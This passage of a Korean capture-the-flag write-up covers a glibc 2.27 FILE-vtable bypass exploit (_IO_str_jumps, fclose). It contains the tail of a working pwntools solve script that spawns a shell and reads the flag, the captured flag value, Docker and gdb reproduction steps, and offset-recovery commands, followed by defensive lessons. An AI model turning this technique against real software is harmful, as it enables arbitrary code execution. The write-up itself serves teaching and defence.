# 셸은 읽을 게 없어 그대로 멈춘다(=아무 출력도 없는 실패로 보인다).
payload += b'\x00' * (300 - len(payload))
assert len(payload) == 300
p.recvuntil(b'Data: ')
p.send(payload)
time.sleep(0.3)
# 3) system("/bin/sh") 로 떨어진 셸
p.sendline(b'id; cat /home/bypass_valid_vtable/flag; cat flag')
try:
print(p.recvall(timeout=5).decode(errors='replace'))
except EOFError:
pass
p.close()로컬 컨테이너에 먼저 돌려 봤다. 배포본의 flag 파일은 DH{**flag**} 라는 더미라
여기서 나오는 건 진짜 flag 가 아니지만, uid 줄이 오면 셸은 확실히 잡힌 것이다.
python3 solve.py localhost 7182
같은 스크립트를 라이브 서버 주소로 돌리면 진짜 flag 가 나온다.
python3 solve.py host3.dreamhack.games 10477
uid=1000(bypass_valid_vtable) gid=1000(bypass_valid_vtable) groups=1000(bypass_valid_vtable)
DH{2eb9fa36f3ffbb948fd525ad7190d263da14eb01af4106a0a037b6ec9662f582}🧪 재현하기
주소가 하드코딩돼 있어서 "내 환경에선 어떻게 하나" 가 바로 걸린다. 그래서 로컬 재현 방법을 같이 정리해 둔다.
1. 문제 서버 그대로 띄우기
배포본에 Dockerfile 이 들어 있으니 그대로 쓰면 된다.
cd extracted
docker build -t bypass-iovt:local .
docker run -d --name bypass-iovt-test -p 127.0.0.1:7182:7182 bypass-iovt:local포트 7182 는 Dockerfile 의 ENV chall_port 값이다.
바이너리 빌드 명령은 소스 첫 줄 주석에 그대로 적혀 있다.
gcc -o bypass_valid_vtable bypass_valid_vtable.c -no-pie2. gdb 로 뜯어보려면 — 호스트에서 glibc 2.27 로 실행
디버깅은 컨테이너 안보다 호스트에서 하는 게 편하다.
배포된 libc.so.6 만으로는 안 되고 짝이 맞는 로더가 필요하다.
이미지에서 꺼내 오면 된다.
mkdir -p local
cid=$(docker create bypass-iovt:local)
docker cp "$cid:/lib/x86_64-linux-gnu/ld-2.27.so" local/ld-2.27.so
docker rm "$cid"
cp extracted/libc.so.6 extracted/bypass_valid_vtable local/
chmod +x local/bypass_valid_vtable local/libc.so.6
patchelf --set-interpreter "$PWD/local/ld-2.27.so" --set-rpath "$PWD/local" \
local/bypass_valid_vtableldd local/bypass_valid_vtable 이 local/libc.so.6 를 가리키면 성공이다.
이 상태면 앞에서 쓴 gdb_check.gdb 가 그대로 돈다.
한 가지 성가신 점. patchelf 로 섹션을 옮기면 gdb 가 매번
warning: Loadable section ".dynsym" outside of ELF segments 를 여러 줄 뱉는다.
섹션마다 두 줄씩, 실측 1203 바이트다. gdb 설정으로는 못 끈다.
동작에는 영향이 없으니 2>&1 | grep -avE "Loadable section|^ in /home" | cat -s 로
그 줄만 걷어냈다. -a 는 보험이다. 이 환경에서는 없어도 결과가 같았지만, gdb 가
x/s 로 뱉는 바이트에 비 UTF-8 이 섞이면 grep 이 스트림을 바이너리로 판정하고
뒤쪽 출력을 통째로 삼켜 버린다.
3. 오프셋을 자기 libc 에서 다시 구하려면
libc 가 다르면 이 글의 숫자는 전부 틀린다. 다시 구하는 방법은 이렇다.
| 값 | 구하는 법 |
|---|---|
_IO_2_1_stdout_ | readelf -s libc.so.6 | grep _IO_2_1_stdout_ (export 됨) |
system | 같은 방법 |
/bin/sh | strings -a -t x libc.so.6 | grep '/bin/sh' |
__libc_IO_vtables 범위 | readelf -S libc.so.6 | grep -A1 __libc_IO_vtables |
_IO_str_jumps | 위의 find_str_jumps.py (심볼이 없어 스캔이 필요) |
fclose 안의 검사 위치(fclose+0x69)도 버전마다 다르다.
objdump -d 로 lea 두 개와 call *0x10(%r12) 를 찾아 다시 잡으면 된다.
4. 한 방에 확인
위 과정을 묶은 스크립트를 작업 폴더에 같이 뒀다.
./reproduce.sh # 로컬 도커 — 셸 획득까지 확인
./reproduce.sh <host> <port> # 라이브 — 진짜 flag 대조로컬 모드가 flag 를 대조하지 않는 건 배포본 flag 가 더미라서다.
더미를 진짜인 척 통과시키면 재현 스크립트 자체를 못 믿게 된다.
그래서 로컬은 uid=...(bypass_valid_vtable) 줄이 오는지로만 판정한다.
| 화면에 이게 뜨면 | 상태 |
|---|---|
uid=1000(bypass_valid_vtable) | 셸 획득 성공 |
| 출력 0바이트 | 300바이트 패딩을 빼먹었을 가능성이 크다 |
Fatal error: glibc detected an invalid stdio handle | vtable 주소가 섹션 밖이다 |
Segmentation fault | _flags 비트가 틀려 _lock 또는 _chain 을 밟았다 |
📝 결론
막는 쪽이 "위치"를 검사하면, 공격은 "내용"을 포기하고 위치를 맞춘다
2.24 의 대응은 합리적이다. vtable 포인터가 libc 의 정상 테이블 영역을 벗어나는 건 어떤 정상 동작으로도 설명이 안 되니, 그것만 걸러도 임의 함수 포인터 호출은 사라진다.
다만 그 검사는 "섹션 안이냐"만 본다. 섹션 안에 있는 테이블들 사이에서 어느 스트림 종류에 어느 vtable 이 붙어야 하는가는 보지 않는다. 파일 스트림에 문자열 스트림용 vtable 이 달려 있어도 통과다.
그리고 _IO_str_jumps 는 하필 구조체 뒷부분을 함수 포인터로 쓰는 vtable 이다.
FILE 을 통째로 덮을 수 있는 상황이라면 그 칸도 당연히 우리 것이다.
막힌 건 임의 주소 점프였고, 남은 건 libc 가 원래 제공하던 간접 호출이었다.
공격 표면은 함수가 아니라 구조체다
이 문제에서 실제로 호출되는 libc 함수는 fclose 하나다.
그런데 그 한 번의 호출이 _flags 여러 비트, _lock, vtable, _IO_buf_base,
그리고 구조체 범위를 넘어선 +0xe8 까지 읽는다.
read(0, fp, 300) 이라는 한 줄을 "300바이트 오버플로우"로만 보면 크기 문제로 보인다.
실제로는 libc 내부 상태 기계를 통째로 넘겨준 것이다.
방어 쪽에서 볼 것
FILE * 같은 라이브러리 내부 구조체를 read·memcpy 의 목적지로 쓰지 않는 게 먼저다.
사용자 데이터를 담는 버퍼와 라이브러리 핸들은 애초에 다른 변수여야 한다.
read(0, fp, 300) 처럼 대상이 포인터 변수인지 그 대상 객체인지 헷갈리는 코드는
정적 분석기에서도 잘 안 걸린다. 크기 계산이 틀린 게 아니라 대상 자체가 틀린 경우라
sizeof 기반 검사가 통하지 않는다.
그리고 이 문제의 leak 은 printf("stdout: %p\n", stdout) 이었다.
연습 문제라 일부러 준 것이지만, 실무에서 디버그 로그에 포인터를 찍는 습관도 결국 같은 것이다.
libc 주소 한 개면 그 안의 모든 심볼과 문자열이 딸려 나온다.
남는 것
vtable 범위 검사 자체는 2.24 이후로 계속 살아 있다.
그러니 이 풀이가 성립하는 조건은 검사의 유무가 아니라 _IO_str_finish 가
아직 _free_buffer 를 함수 포인터로 부르는가다.
그 호출이 남아 있는 버전에서만 이 경로가 열린다.
이 글의 숫자와 경로는 전부 2.27-3ubuntu1 에서 확인한 것이다.
libc 가 바뀌면 오프셋만 다시 구할 게 아니라 _IO_str_finish 를 다시 뜯어봐야 한다.
버전을 안 보고 익스를 옮기면 왜 안 되는지도 모른 채 Fatal error 만 보게 된다.
Comments
댓글
댓글을 남기려면 로그인이 필요해요. (네이버 · 구글 계정)
댓글 불러오는 중…